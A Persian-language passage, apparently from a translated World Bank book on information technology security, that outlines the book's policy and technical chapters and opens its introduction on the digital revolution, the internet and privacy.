ــميمه و  • ــاي ض ــواملي راهنماييه ــي و  ع ــه طراح ــه ب ك
 .دنكن امنيت سازماني مناسب كمك ميسازي  پياده

طـور مـستقيم بـا      ب كـه    ي بـر سياسـتهاي    سومهمچنين بخش   
اي در  ي، غيرانتفاعي و دولتـي در دنيـاي شـبكه        عمليات تجار 

و كند و به مباحث متخصـصين   ارتباط هستند مروري كلي مي  
المللي بانـك جهـاني دربـارة امنيـت فنـاوري             گفتگوهاي بين 

 بـه    تري راجع    مباحث عميق  چهارمبخش  . پردازد  اطلاعات مي 
كند و اين     مطرح مي سايبر  سياستهاي كلي در دنياي     و  قوانين  
  .نمايد قالب جهاني بررسي مي ل را درمسائ

  چهارمهايي از بخش  گزيده
  فناوري اطلاعات و سياستهاي دولتي امنيت

كند كـه      اين كتاب عناوين امنيتي را بررسي مي       چهارمبخش  
يك دولـت عـلاوه بـر       . فهم آنها در سطوح دولتي لازم است      

كـه  باشـد   متعهـد   بايـد   تأمين امنيت منـابع اطلاعـاتي خـود،         
ــه ــن  مجموع ــراي ايم ــتهايي را ب ــات   سياس ــاختن اطلاع س

 نقش مهمـي در  هااين سياست.  ملي خود تنظيم كند   ساختيزير
 ولي با اينحال تناقضي نيز وجود ،فناوري اطلاعات دارد امنيت

كه چارچوب سياست ملي بايد قـادر بـه         خواهد داشت و آن اين    
دولتـي بـيش از     ضعيف  اما قوانين    ،امنيت باشد سطح  افزايش  

. سودي در پي داشته باشند، ضـرر بـه بـار خواهنـد آورد             آنكه  
جديـد  اي  درحال تغيير است و تهديدات رايانه   بسرعت  فناوري  
از در چنـين وضـعيتي      . آيندبوجود مي تغييرات  همين  به دليل   

از جلـوگيري   دام انداختن جنايتكاران و      قوانين دولتي براي به   
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بنابراين . شوداستفاده مي هاي نوين خلافكاري      گسترش شيوه 
ــه  ــتيابي ب ــوازنيدس ــي و   مناســب ت ــاي تقنين ــان معياره مي

واضح اسـت كـه سياسـتهاي       . اهميت بسزايي دارد  غيرتقنيني  
ويژگيهاي اجتماعي و فنـي  با توجه به دولت بايد  سايبر  امنيت  

تواننـد    در ايـن زمينـه دولتهـا مـي        . تدوين شده باشند  اينترنت  
 يرا بـراي ارتقـا     زياديفني گامهاي   دخالت در مسائل    بدون    

  .اي بردارندامنيت رايانه

  :است حاوي موضوعات زير چهارمبخش 
 كه متعلق بـه  حياتيهاي  ساختشبكة ارتباطي و ديگر زير     •

آنها بـا دولـت اسـت       بر  بخش خصوصي بوده اما نظارت      
 ؛) دولت و بخش خصوصيتصويري از وابستگي متقابل(

 اينهامنيت رايا ارتقاي  نقش كلي دولت و وظايف آن در         •
 ؛ و غيرانتفاعي،در بخشهاي عمومي، خصوصي 

هـا و     از رايانـه  بـراي حفاظـت     اي كه     م رايانه ئقوانين جرا  •
 شوند؛تدوين ميهاي خصوصي و دولتي  شبكه

اي   قـوانين رايانـه   بـه قالـب     نحوي   مفاهيم سنتي كه به    •
 اند؛منتقل شده

امنيت ارتقاي  قوانين، مقررات و سياستهاي دولتي كه بر         •
 يهـا   كننـده، داده    در عرصة پشتيباني از مصرف        ايرايانه

 و چارچوبهـاي تجـارت الكترونيكـي        ،ارتباطات شخصي 
 ؛ ودنتأكيد دار

تعـدادي از كـشورها و   ها و قـوانين  ي از سياسـت   يها  نمونه •
 ؛المللي معتبر مراجع در سازمانهاي بين

كـلان   هاي امنيت را از ديدگاه حقوقي و سياسـت        چهارمبخش  
 نگـاهي عميقتـر بـه لـوازم و          پـنجم بخـش   . كنـد   ارزيابي مي 

هاي فني مورد نياز براي تأمين امنيت فنـاوري اطلاعـات           الرو
  .دارد

  پنجمهايي از بخش  گزيده
  راهبران فنيو فناوري اطلاعات  امنيت

كنـد تـا       كمـك مـي      به راهبران شبكه و سيستم     پنجمبخش  
ايـن  . بتوانند وظايف خود را بصورت كارآمدتري انجـام دهنـد         

دهد كه بايـد در سـطوح فنـي و            ش مسائلي را پوشش مي    بخ
امنيتي چگونه نقـض    مثلاً اينكه ضوابط     ؛مديريتي درك شوند  

بخـشهاي  . كدامنـد تهديـدات   روشهاي مقابله با    يا  و  شوند  مي

 اننظيـر امنيـت كـاربر     مـسائلي   ديگر اين كتاب مـروري بـر        
سـازي سياسـتهاي      پيـاده و  خانگي، امنيت از ديدگاه سازماني      

 ـامنيتـي دار  ن  كلا بـه بررسـي    بـه تفـصيل      پـنجم بخـش   . دن
پردازد كه شامل روشـهاي مختلـف          امنيتي مي  ةتهديدات ويژ 

ها، روشـهاي نظـارت بـر ترافيـك           حمله به سيستمها و برنامه    
ايـن  در تـأمين امنيـت    ١٧الگوهاي سـرآمدي هاي مهم،     شبكه

 امنيتـي در زمـان     هـاي  و روش مناسب كار بـا ابزار       ،سيستمها
  .باشد بحران مي

  : حاوي مطالب زير استپنجمبخش 
 ةطراحي سيستمهاي امنيتـي و روشـهاي مـورد اسـتفاد           •

 ؛نفوذگران سيستم

فنــاوري اطلاعــات از ســوي  تهديـدات مختلــف امنيــت  •
و عوامل محيطـي بـراي خرابكـاري و دزدي اطلاعـات            

 ؛آنهامقابله با راهكارهايي براي 

شاي افــمقابلــه بــا در هــا از دادهمكانيزمهــاي حفاظــت  •
 ١٨هـا  داده محرمـانگي با عناوين   غيرعمدي اطلاعات كه    

ها    داده تغيير از دسترسي كاربران غيرمجاز به سيستم و         جلوگيري(
اينكه اطمينان از    (١٩ها داده يكپارچگيو  ) ها توسط آنها    و برنامه 

) خواهنـد مانـد     و صـحيح بـاقي    نقـص     بـي  افزارهـا و اطلاعـات      نرم
 شوند؛شناخته مي

تأييــد و ، تــصديق هويــت، ٢٠شناســاييهــايي بــراي الرو •
  كاربران؛٢١اعتبار

 كـه بـراي ارائـه    ييهـا   رايانـه در  مشكلات امنيتي رايـج      •
 تنظيمـــات ورونـــد بكـــار مـــيخـــدمات اطلاعـــاتي 

 ؛ براي به حداقل رساندن اين مسائل٢٢ها دهنده سرويس

 و  ٢٣مـسيريابها مودمهـا،   (امنيت شبكه از بعد سخت افـزاري         •
اي موجـود     پروتكلهـاي شـبكه   (اري  افـز   و نرم ) سيم  دسترسي بي 
 ؛)TCP/IP؛ مثل هاي محلي و اينترنت روي شبكه

ايـستگاههاي  فناوريهاي مورد استفاده بـراي حملـه بـه           •
 تخريب سـرويس  ها كه به آنها       دهنده   و سرويس  ٢٤كاري

)DoS(گويند  مي٢٦شدهريزي تهديدات برنامه و ٢٥. 
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ــتفاده از  • ــونگي اس ــاي چگ ــزيابزاره ــه ٢٧ممي  و ورود ب
پـذير    م براي كمك به شناسايي سيستمهاي آسيب      سيست

 دچـار تغييـر   مـواردي كـه روي ايـن سيـستمها          يافتن  و  
 .اند شده

، Unixهاي فني ويـژه بـراي سيـستم عاملهـاي             توصيه •
Linux ،Windows ، وMacintosh 

حجم و پيچيدگي موضـوع، چنـدين ضـميمه نيـز در            به دليل   
  .است انتهاي كتاب آمده

از اصطلاحات رايجي اسـت كـه       اي  امهنواژه حاوي   ۱پيوست  
مـورد اسـتفاده قـرار      حوزة فناوري اطلاعـات و ارتباطـات        در  
تهيه  نيز مراجع مورد استفاده در       ۵ تا   ۲ و پيوستهاي  ،گيرند  مي

اين منابع شامل مـستندات     . اند  را معرفي نموده  و تدوين كتاب    
از سازمانهايي كه دربارة    فهرستي  چاپي، مدارك الكترونيكي و     

شـود  توصـيه مـي  . هستندپردازند  سائل امنيتي به فعاليت مي    م
كه در بخش منابع و مآخذ ذكـر        تمامي خوانندگان به مراجعي     

  .سري بزننداند  شده

  گيري  گامهاي آتي و نتيجه
فناوري ديجيتالي ابزارهاي جديدي را در اختيار مـا قـرار داده            

ت و   آنها در آموزش و پرورش، بهداشت، تجـار        ةكه تأثير عمد  
اين فنـاوري بـراي تمـام       . ديگر بخشهاي جامعه نمايان است    
تواند جذابيت خاصي بـراي       كشورها و مردم مفيد است، اما مي      

كشورهاي درحال توسعه داشته باشد و به آنها كمك كنـد تـا             
 اقتـصادي جهـاني افـزايش       ةخود را به سـمت جامع ـ     انسجام  

 ةزين ـبـراي كـشورها ه    ؛ ولي در عين حال انجام اينكـار         دهند
اطمينــان و  و گـذاري مــستقيم خـارجي   ســرمايه. زيـادي دارد 

سازي امن   بستگي به پياده، كشورهاي درحال توسعه  بهاعتماد  
دولتها، سازمانها و كاربران   .  دارد هاو كارآمد فناوري و زيرساخت    

هـاي    و سـرمايه   هـا   خانگي همگـي در تـأمين امنيـت شـبكه         
كتـاب  ايـن   . دارنـد الكترونيكي و اطلاعاتي آنها نقش بسزايي       

و الگوهـاي   هـاي رايـج       اي از بهتـرين شـيوه       حاوي مجموعه 
ــرآمدي  ــة در س ــدگان در   زمين ــه خوانن ــه ب ــت ك ــت اس امني

 كمـك  - بـر حـسب شـرايط        -هـا   السازي سياستها و رو     پياده
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از شــامل مراجــع فراوانــي همچنــين ايــن كتــاب . كنــد مــي
 است كه ابعاد ديگر امنيـت فنـاوري اطلاعـات را            يموضوعات

 در جهـت  يگـام لذا آموختن محتويات آن،   د و   نده  پوشش مي 
جهـان رو   در  سطح محلي    انتقال اطلاعات و توليد ظرفيت در     

اين كتـاب توسـط بانـك       . آيد  به گسترش امروز به حساب مي     
 و پايگـاه وب آن كـه        ديـسك فـشرده     و جهاني منتشر شـده   

حــاوي مطالــب جديــد در ايــن زمينــه اســت نيــز در اختيــار  
اولـين ويـرايش ايـن كتـاب در      . است گرفته ن قرار مندا  علاقه

 در ژنـو در     )WSIS(اجلاس جهاني سـران جامعـة اطلاعـاتي         
  . ميلادي ارائه شد۲۰۰۳دسامبر 

 مايل بـه حفـظ      ٢٨ حق تكثير جهاني   منشوربانك جهاني طبق    
ــر  ــانون حــق تكثي ــاب ق ــوان  ايــن كت ــه هــيچ عن اســت و ب

ش و ديگر   آموز مطالب اين كتاب براي تحقيق،    برداري   نسخه
اهداف جز در كشورهاي درحال توسـعة عـضو بانـك جهـاني         

ها، تفاسير و نتايج موجود در ايـن كتـاب            يافته. باشد  مجاز نمي 
همگي متعلق به نويسندگان هستند و نبايد آنهـا را بـه بانـك              

يـا  و جهاني، سازمانهاي وابسته به آن، اعضاي هيـأت مـديره        
  . نسبت دادعضوكشورهاي 
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  مقدمه

ظهور فناوري ديجيتال يكي از بارزترين پيـشرفتهاي فنـاوري       
آيد كـه در زنـدگي كنـوني بـشر            قرن اخير به شمار مي    در نيم 

   براي بسياري از ما ايـن      ١.بصورت عاملي حياتي درآمده است    
هاي ديجيتالي تجلـي كـرده و بـه           نوع فناوري در قالب رايانه    

ي لازم براي انجام كارها و رفع نيازهاي شخصي تبـديل           ابزار
 مـيلادي زمانيكـه اولـين رايانـة         ۱۹۵۱در سـال    . شده اسـت  

سـازمان آمـار و    بـه  UNIVAC Iديجيتال تجاري موسوم به  
 تحويل داده شد، بسياري از      ٢سرشماري ايالات متحده آمريكا   

 نيـز   هـا دانستند و آن رايانـه      ها چيزي نمي    مردم در مورد رايانه   
تنها در تعداد انگشت شماري از دانشگاهها و آزمايـشگاههاي          

  ، گران   ها بزرگ   اين رايانه . تحقيقاتي مورد استفاده قرار داشتند    
اي    اندازه  هاي امروزي   ، رايانه   در مقابل . و مملو از اشكال بودند    

تـوان   ، ارزان و قابل اطمينان هستند و مـي        نسبتاً كوچك دارند  
  .شوري يافتآنها را در هر ك

هــا در دانــشگاهها،  بــه فاصــلة كوتــاهي پــس از رواج رايانــه
هاي تحقيقاتي براي مرتبط ساختن آنها بـا يكـديگر بـه              پروژه

نحوي كه امكان مبادلة اطلاعات ميان آنها بوجـود آيـد آغـاز             
ــدند ــروژه  . ش ــن پ ــان اي ــا از مي ــبكة    ه ــعة ش ــروژة توس ، پ

ARPANET         زي  موفقيت بيشتري كسب كرد و بـه آن چي ـ
شناسيم و درحال     مي" اينترنت"تبديل شد كه امروز آنرا بعنوان       

را در سراسر جهان بـه هـم           ميليون رايانه    ۳۰۰حاضر بيش از    
  .مرتبط كرده است

 ٥رابـرت كـايليو    و   ٤برنرز لي  تيم كه توسط    ٣شبكة جهاني وب  
 ميلادي و   ۹۰ در اوايل دهة     ٦اي اروپا   مركز تحقيقات هسته  در  

 سرويس قدرتمندي است كه از اينترنت         شد در شهر ژنو ايجاد   

                                                                  
1  Digital Tornado: The Internet and 

Telecommunications Policy FCC Staff 
Working Paper on Internet Policy (1997): 
http://www.fcc.gov/Bureaus/Miscellaneous/Ne
ws_Releases/1997/nrmc7020.html 

2  U.S. Bureau of Census 
3  World-Wide Web 
4  Tim Berners-Lee 
5  Robert Cailliau 
6  Center for European Nuclear Research 

(CERN) 

براي ايجاد يـك سيـستم اطلاعـاتي جهـاني بهـره جـسته و               
. وري و جذابيت اينترنت را به مراتب افـزايش داده اسـت             بهره

هر چند بسياري از مردم تفـاوتي ميـان شـبكة جهـاني وب و               
اينترنت قائل نيـستند، ولـي در واقـع وب تنهـا يكـي از ايـن                 

است كه اينترنت را به چنين ابزار       ) ه مهمترين آنها  و البت  (٧خدمات
رسـاني و برقـراري ارتباطـات تبـديل           قدرتمندي براي اطـلاع   

  .كرده است

طي ده سال اخير اينترنت به يك ابـزار مهـم ارتبـاطي ميـان               
تمامي اقشار جامعه تبديل شده و ما براي دسترسـي آنـي بـه              

هـاي    مـه اطلاعات، ارتباطـات اختـصاصي، تمـامي انـواع برنا         
كاربردي، تجاري، روابط كاري و نقل و انتقالات مالي بـه آن            

قابليت اطمينان و دسترسي آسان به اينترنت براي        . ايم  وابسته
يافتـه يـك عامـل      موفقيت پايدار و مداوم كـشورهاي توسـعه       

هـاي درحـال      رود و اهميت آن بـراي كـشور         حياتي بشمار مي  
ها ر استفاده از رايانه   آثا. توسعه نيز بسرعت رو به افزايش است      

و نتايج حاصله از انقلاب اينترنت از مرز فوايـد مـستقيم آنهـا                
شود كه تأثيرات بيشتري نيز در راه        بيني مي فراتر رفته و پيش   

  .باشند

اول از همه اينكه اينترنت مرزهاي جغرافيايي ميـان كـاربران           
 سازي را با ارائـه  متصل به خود را كمرنگ كرده و روند جهاني     

هاي ارتباطي تسهيل نموده و لـذا هـر كـسي             قابليتهاي رسانه 
مستقل از محل فيزيكي خود قادر به برقـراري ارتبـاط بـا آن              

 بـر رونـد ايـن تغييـر تـأثيري           ٨موتورهـاي جـستجو   . باشدمي
اند؛ چراكه نتايج جستجو بر اساس موضـوعات        مضاعف داشته 

نهـا دارد؛   اي كه كاربر با آ      شوند و نه بر اساس فاصله      ظاهر مي 
ــع در     ــركتهاي واق ــات و ش ــاه وبِ كارخانج ــه پايگ بطوريك

يافته و درحال توسـعه از موقعيـت يكـساني          كشورهاي توسعه 
  .شدن توسط مراجعين برخوردار هستندبراي نظاره

دومين مسئله اين است كه اينترنت تأثيري شگرف در فرآينـد           
تـوان    بعنوان مثال مـي   . هاي تجاري داشته است     حذف واسطه 

بــه كــاهش چــشمگير نــرخ اســتخدام منــشي در كــشورهاي 
كرد كه دليل آن اين است كه نوشتن متن و            يافته اشاره توسعه

چاپ و ارسال پيام شخصي براي افـراد از طريـق تـسهيلاتي             
چون پردازشگر كلمات و پست الكترونيكـي آسـانتر از ديكتـه            

بــه همــين ترتيــب . كــردن مــتن بــراي يــك منــشي اســت
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8  Search Engine 
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جمعي نيز درحال حاضر رو به انقراض است،        گردشگريِ دسته 
تواننـد بليطهـاي هـوايي يـا قطـار و             چراكه گردشـگران مـي    

 رزرو  ٩بـرخط همچنين اتاقهاي هتل مورد نظر خود را بصورت         
جويي در هزينه و وقت مـشتري         كنند و اين امر موجب صرفه     

شده و باعث شده بتوان با كمي دقت روي سفارشات، از يـك             
پيـدايش شـركتهاي فروشـندة كتـاب،        . دسفر مفرح لـذت بـر     

موسيقي و محـصولات الكترونيكـي بـصورت بـرخط موجـب            
ــه فروشــگاههاي عرضــه  ــد و ضــربه ب ــه تهدي ــدة اينگون كنن

محصولات شده، اما در عين حال در بسياري از بخشهاي اين           
. تر شدن طيف بازار هدف نيز انجاميده است       صنف به گسترده  
تي بـه وجـود خـود ادامـه         هـا و صـنايع سـن        از آنجا كه حرفـه    

دهند، تمايل دارند افراد كمتـري بـه اسـتخدام درآورنـد و              مي
حتي ممكن است بجـاي ارائـه خـدمات عمـومي بـه سـمت               

تأثيرات مشهود رونـد حـذف    . بازارهاي تخصصي حركت كنند   
ها كه با ظهور اين فنـاوري شـروع شـد بـراي مـدتي                 واسطه

فـزون فنـاوري    يافـت و بـا اهميـت روزا         طولاني ادامه خواهد    
هاي بيشتري با آن جايگزين خواهند        اطلاعات، صنايع و حرفه   

  .شد 

وري حـداقل در صـنايع        سومين پيامد اين است كه نرخ بهـره       
وابسته به فناوري اطلاعات با شتابي چشمگير افزايش خواهد         

به كمـك پـست الكترونيكـي امكـان ارسـال و تبـادل        . يافت
د ثانيـه ممكـن شـده،       اطلاعات در سراسر جهان طي تنها چن      

توان بسيار سـريعتر      بطوريكه مباحث و مذاكرات جهاني را مي      
امور بازرگاني كه تـا     . از گذشته پيگيري كرد و به نتيجه رساند       

شـدند    چندي قبل از طريق پست، تلكس و تلفـن انجـام مـي            
اكنون با بكارگيري مفاهيمي نوين در صنعت مخابرات سـيار،          

رسـند و ايـن مـسئله چرخـة           م مـي  سريعتر و كارآمدتر به انجا    
  .زماني انجام فعاليتها را كاهش داده است

نكتة آخر اينكه ايمن نگاه داشـتن محـل ذخيـرة اطلاعـات و              
خطوط ارتباطي مخابراتي نيـز در ايـن محـيط جديـد الزامـي              

صنعت و فناوري امروز به شدت در تكاپوي يافتن راهي        . است
د، چراكــه بــراي تــضمين امنيــت زيرســاختهاي خــود هــستن 

اند كه بيشتر نقايص امنيتي اينترنت        اندركاران آن دريافته   دست
افزارهـاي نـاامن در آن      افزارهـا و نـرم    ناشي از وجـود سـخت     

،   در اين محيط ايجاد اطمينـان و اعتمـاد بـه رايانـه            . باشند مي
شده نـسبت بـه محيطـي كـه در آن           هاي ذخيره   شبكه و داده  

                                                                  
9  Online 

گيـرد   در رو انجـام مـي      روابط كاري بر اساس گفتگوهـاي رو      
  .كمابيش از اهميت يكساني برخوردار است

: اين مطلب در مورد كشورهاي درحال توسعه نيز واضح اسـت     
سـاختهاي    سازمانهايي كه به سـطح امنيتـي مناسـبي در زيـر           

 خود دست نيافته و از ارسال اطلاعـات خـويش بـه              ديجيتالي
هند بـود   كنند شايستة اعتماد نخوا     نحو مطلوبي محافظت نمي   

  ١٠.و از كاروان اقتصاد نوين جهاني عقب خواهند ماند

  انقلاب ديجيتال
. هـا فراتـر رفتـه اسـت        امروزه فناوري ديجيتال از حيطة رايانه     
الكترونيك امكان ساخت     پيشرفتهاي فناوري در صنعت ميكرو    

ابزارهاي پيچيدة الكترونيكي در مقياسهاي بـسيار كوچـك را          
توانيد تجهيزات ارتباطي     ن شما مي  فراهم آورده بطوريكه اكنو   

عـلاوه  . و محاسباتي بسيار پيچيده را در جيب خود جاي دهيد         
بر اين بهبود نسبت قيمت به كارآيي براي اين نوع فناوري در            

اسـت و احتمـال برقـراري ايـن         % ۳۰هر سال چيـزي حـدود       
انتظـار مـا ايـن       ١١.نسبت تا ده سال آينده نيز بسيار بالاسـت        

وري مـورد اسـتقبال گـسترده قـرار گيـرد و            است كه اين فنـا    
هاي نويني در تجارت پديد آورد و نقطة شروعي بـراي           عرصه

  .آغاز عصر طلايي فناوري ديجيتالي باشد

تجهيــزات تلفنــي مــدرن امــروز كــاملاً ديجيتــالي هــستند و 
ــه  ــد رايانـ ــستمهاي هدفمنـ ــزات  سيـ ــايگزين تجهيـ اي جـ

Switching     از زمان پيدايش    .اند   مبتني بر رلة مكانيكي شده
 مـيلادي، صـدا و موسـيقي        ۸۰ديسك فشرده در اواخر دهـة       

شكل ديجيتالي به خود گرفته و بـا پيـدايش قالـب موسـيقي              
MP3  ــة ــر ده ــي در   ۹۰ در اواخ ــدا حت ــبط ص ــيلادي ض  م

در دنيـاي   . محيطهاي خانگي نيز كاملاً ديجيتالي شده اسـت       
ي عكاسي و فيلمبـرداري نيـز تـصاوير ديجيتـالي و دوربينهـا            

  .اندديجيتالي ثبت تصاوير فيلمهاي عكاسي گشته
                                                                  
10  Braga, Carlos Prima, Inclusión or Exclusion, 

UNESCO Courier: 
http://www.fcc.gov/Bureaus/Miscellaneous/Ne
ws_Releases/1997/nrmc7020.html 

اسـت كـه     Moorپيشرفت فني يكي از پيامدهاي قـانون         نرخ اين   ۱۱
او .  تشريح شده۱۹۶۰، پدر اينتل در دهة Gordon Moorبوسيلة 

)  مـاه كـاهش داد     ۱۸كـه بعـداً آنـرا بـه         ( سـاله    ۲گويد طي هر دورة     مي
هايي بـا ظرفيـت     دهد ريزپردازنده فناوري به توليدكنندگان اجازه مي    
 سال گذشته به    ۴۰اين روند طي    . دوبرابر و قيمت يكسان تهيه كنند     

 سـال ديگـر نيـز    ۱۰رود كه حداقل تا همين منوال بوده و انتظار مي 
  .همينطور باشد
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امــروز حتــي فيلمهــاي ســينمايي و كارتونهــا نيــز ديجيتــالي 
هـاي توليـد آنهـا كمتـر و           كه بدين شكل هزينـه      اند؛ چرا   شده

رفته نوارهاي ويدئويي جاي خـود        رفته. كيفيتشان بيشتر است  
ت اند و فيلمهاي سينمايي بـا امكانـا          داده DVDرا به فناوري    

  .گردند ديجيتالي ساخته و تدوين مي

سـيم درحـال حركـت بـه سـمت           استانداردهاي تلفنهـاي بـي    
، GSMفناوري ديجيتال هستند و با وجود پروتكلهايي چـون          

CDMA  ،TDMA  هاي مختلف آنها بتدريج جايگزين      و گونه
در . نسل قديمي استانداردهاي فنـاوري آنـالوگ خواهنـد شـد          

يون ديجيتال به صحنه آمده است      يافته تلويز كشورهاي توسعه 
و ديري نخواهد گذشت كه جاي استانداردهاي پخش برنامـه          

بـود؛   هرچند كه اين تغيير كمي كندتر از بقيه خواهـد  (را خواهد گرفت   
تـر    هاي خانگي موجود كه بـه اسـتانداردهاي قـديمي           كه حجم گيرنده    چرا

  ).اند بسيار وسيع است وابسته

يــز درحــال تبــديل بــه انــواع سيــستمهاي امنيــت فيزيكــي ن
در هتلها، آپارتمانهـا و دفـاتر اداري،        . الكترونيكي خود هستند  

كليدهاي فيزيكـي جـاي خـود را بـه كارتهـاي الكترونيكـي              
دوربينهاي تلويزيوني مـورد اسـتفاده در سيـستمهاي         . اند  داده

ــزات     ــب از تجهي ــز اغل ــسات ني ــاختمانها و تأسي ــارتي س نظ
ند كـه بجـاي ارسـال سـيگنالهاي         كن  الكترونيكي استفاده مي  

تلويزيوني به يك مانيتور ويدئويي، تصاوير الكترونيكـي را بـه           
  ١٢.كنند ايستگاههاي نظارت ديجيتالي ارسال مي

كنـيم بـدون      بسياري از خدماتي كه امروزه از آنها استفاده مي        
. ، شبكه و فناوري ديجيتال قابل ارائه نخواهند بود          وجود رايانه 

ــز  ــوايي ني ــوط ه ــه خط ــستمهاي رزرو رايان ــدون سي اي و   ب
سيستمهاي نگهداري و پشتيباني پرواز قادر به رقابت بـا هـم            

هواپيماها تا اندازة زيادي به حسگرهاي الكترونيكي و        . نيستند
توانند به خوبي     اند و بدون آنها نمي      كنترلهاي ديجيتالي وابسته  

بـه  حتي اتومبيلها نيز براي عملكرد مناسب و كمك   . كار كنند 

                                                                  
ين مورد خاص ممكن است مشاغل را به سمت كشورهاي درحـال            ا   ۱۲

به محض اينكه تصاوير در قالب ديجيتال درآيند        . توسعه هدايت كند  
توانند به يك سيستم نظـارت در        و روي اينترنت قرار داده شوند، مي      

ها اين قابليت امنيتي     بيني پيشبنابر  . هر كجاي شبكه فرستاده شوند    
تواند در كشورهاي درحال توسعه      كه به مهارت خاصي نياز ندارد مي      

ايـن پيـشنهاد در بـا       . انـدازي شـود    با هزينة كمتر و كيفيت برابر راه      
دهندگان مواجه شـد، امـا از آنجـا كـه در ايـن نـوع                استقبال توسعه 

ت برخـي   شـوند، ممكـن اس ـ     واگذاري مرزهاي ملي در نورديده مـي      
  .نگرانيهاي امنيت فيزيكي به بار بيايند

. كننـد ها استفاده مـي     يابي و نگهداري خود از ريزپردازنده       عيب
 نيز به شما اين امكـان       ١٣)GPS (سيستمهاي مكانيابي جهاني  

دهند كه بدانيد در هر لحظه در چـه مكـاني روي كـرة                را مي 
ايد و با داشتن چنين دستگاه نسبتاً ارزانـي در            زمين قرار گرفته  

ها باشد قادر به      اي از نقشه  ادهاي كه حاوي پايگاه د      كنار رايانه 
يافتن مسير حركت، نقاط مهم، رستورانها، تابلوهـاي راهنمـا،          

شده در طول مسير، و در نهايت مقصد مورد نظـر       خدمات ارائه 
  . بود خواهيد

اين دستگاههاي ديجيتال بـا سـرعتي بـاورنكردني در شـبكه           
 بـا       قادر بـه برقـراري ارتبـاط        سيم  تلفنهاي بي . گيرند  قرار مي 

اينترنت هستند و ابتدا قادر به ارسال صوت و اكنون قـادر بـه              
بـزودي داراي    باشـند و    مبادلة تصاوير از طريق اينترنـت مـي       

شد و به اين ترتيب افرادي كـه در            نيز خواهند    GPSقابليت  
تـوان بـا دقتـي     معرض خطر و حادثه قرار گرفته باشند را مـي     

بسياري از خدماتي كـه     . دزياد و تنها با يك تلفن مكانيابي كر       
 مثـل دسـتگاههاي     -گيرنـد     اكنون مورد استفادة ما قرار مـي      

 -رونـد   خودپرداز كه براي تبادل و نقل و انتقال پول بكار مي          
نقـل و   . كنندكار مي " در دسترس بودن شبكه   "بر اساس اصل    

المللـي وابـستگي      بانكي و بـين   انتقالات مالي و اعتباري ميان    
 امـروزه نقـل و      ١٤.ي اعتباري و مالي دارنـد     ها  زيادي به شبكه  

انتقالات بانكهاي الكترونيكي از طريق اينترنـت بـراي افـراد           
  .ميسر است

توسعة ابزارهاي الكترونيكيِ ديجيتال و دستگاههاي مرتبط با        
هم فوايد بـسياري دارد؛ ولـي نكـات منفـي نيـز در آن قابـل           

راد آسانتر  پيدا كردن محل استقرار شما براي اف      .  مشاهده است 
ديـدن صـفحات تبليغـاتي وب، يـافتن آنچـه كـه             . شده است 

هـا هـستيد، و مـشاهدة آنچـه كـه             بدنبال خريد آن در مغـازه     
تـر از     درحال تماشا يا خواندن بصورت برخط هستيد نيز سـاده         

اگر چنين نظارتي بـر منـافع شـما حـاكم باشـد          . باشدقبل مي 
ايد بخواهيـد   قاعدتاً شـما از آن بـاخبر نخواهيـد شـد، امـا ش ـ             

هـايي بـا كـسب اجـازه از شـما             مطمئن شويد كه چنـين داده     
رونـد كـه از     شوند و تنها براي اهدافي بكار مـي       آوري مي   جمع

                                                                  
13  Global Positioning System 

شبكة تبادل مالي ميان بانكها در گذشته از يـك شـبكة اختـصاصي                ۱۴
بسيار ايمن كه براي همين هدف خاص طراحي شـده بـود اسـتفاده              

اين مـسئله بـا درنظـر گـرفتن     . كرد و به اينترنت نيز متصل نبود  مي
 آن شبكه و تأثيرات بسيار مخرب و جدي هرگونـه نفـوذ             ارزش زياد 

  .رسدبه آن كاملاً منطقي بنظر مي
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بسياري از مردم بـراي     . آن اطلاع داريد و با آن موافق هستيد       
حريم خصوصي خود اهميت زيادي قائل هستند و دولتها نيـز           

گرچـه ميـزان و شـدت       باشـند،   مايل به حفظ حقوق افراد مي     
. اجراي قوانين از يك كشور تـا كـشور ديگـر متفـاوت اسـت              

مسئله اصلي بـراي دولتهـا ايـن اسـت كـه منـافع حاصـل از           
فناوريهاي نوظهور را تشخيص دهند و در عين حال ارزشها و           

توان از آنها برخوردار بـود        آزاديهايي كه بدون آن فناوريها مي     
اسـت كـه دولتهـا بايـد        موضوع ايـن    . را همچنان حفظ كنند   

فناوريهاي جديد را درك كرده و تأثير قابليتها و امكانات نوين           
همچنـين دولتهـا بايـد گامهـاي        . بر آزاديها را ارزيابي نماينـد     

مؤثري بردارند تـا مطمـئن شـوند اگـر قـوانين و سياسـتهاي               
كننـد،  عمومي در اين زمينه آزاديهـاي فعلـي را تقويـت نمـي            

  .ر مورد آنها وجود داشته باشدحداقل يك وفاق جمعي د

 شـناخته   ١٥فـضاي سـايبر   دنياي ديجيتالي معمولاً بـا عنـوان        
هاي ديجيتالي كـه      ها و ابزار    شود و تعريف آن تمامي رايانه      مي

شـوند و       هاي داخلي و خـارجي بـه هـم متـصل مـي              با شبكه 
در  ١٦.گيردتوانند با يكديگر ارتباط داشته باشند را در بر مي           مي

توان دربارة ملاقاتها     ر هم مثل فضاي فيزيكي مي     فضاي سايب 
امـا بايـد ميـان رفتـار در فـضاي            و انجام كارها صحبت كرد،    

كنـيم    ، كار و بازي مي      سايبر و دنياي حقيقي كه در آن زندگي       
  .تفاوت قائل شد

هــاي شخــصي و اينترنــت در  گــسترش و رواج ســريع رايانــه
ياري بخشهاي مختلف كشورهاي درحـال توسـعه منـافع بـس          

اي نيـست   با اينحال اينترنت بخودي خود رسـانه      . داشته است 
هزينـة عـدم    . كه نسبت به رفتار تبهكارانه ايمني داشته باشـد        

هـاي مـورد    تواند از دسـت دادن داده      توجه كافي به امنيت مي    
نياز براي انجام كار يك سـازمان بـزرگ يـا مؤسـسة دولتـي               

وردار نيست اما هزينـة     اينترنت ماهيتاً از ايمني لازم برخ     . باشد
هاي   امن كردن آن نيز در مقايسه با هزينة از دست رفتن داده           

                                                                  
15  Cyberspace 

 Williamاولين بار توسـط يـك نويـسنده بـه نـام     " فضاي سايبر"   ۱۶
Gibson     هاي سراسر دنيـا  براي يك دنياي موازي كه توسط رايانه

 و در رمـــان او بـــا عنـــوان ۱۹۸۴ســـاخته شـــده بـــود در ســـال 
"Neuromancer " تواند در ادبيات مفيد     اين تعريف مي  . بكار رفت

مد نظر داشـت تغييـر       Gibsonباشد، اما معني آن بتدريج از آنچه        
براي اطلاعات بيشتر به همين پاورقي در كتاب اصلي و          . يافته است 

  :يا منبع زير مراجعه كنيد
Intven, et al., Legal and Regulatory Aspects of 
e-Commerce and the Internet, World Bank 
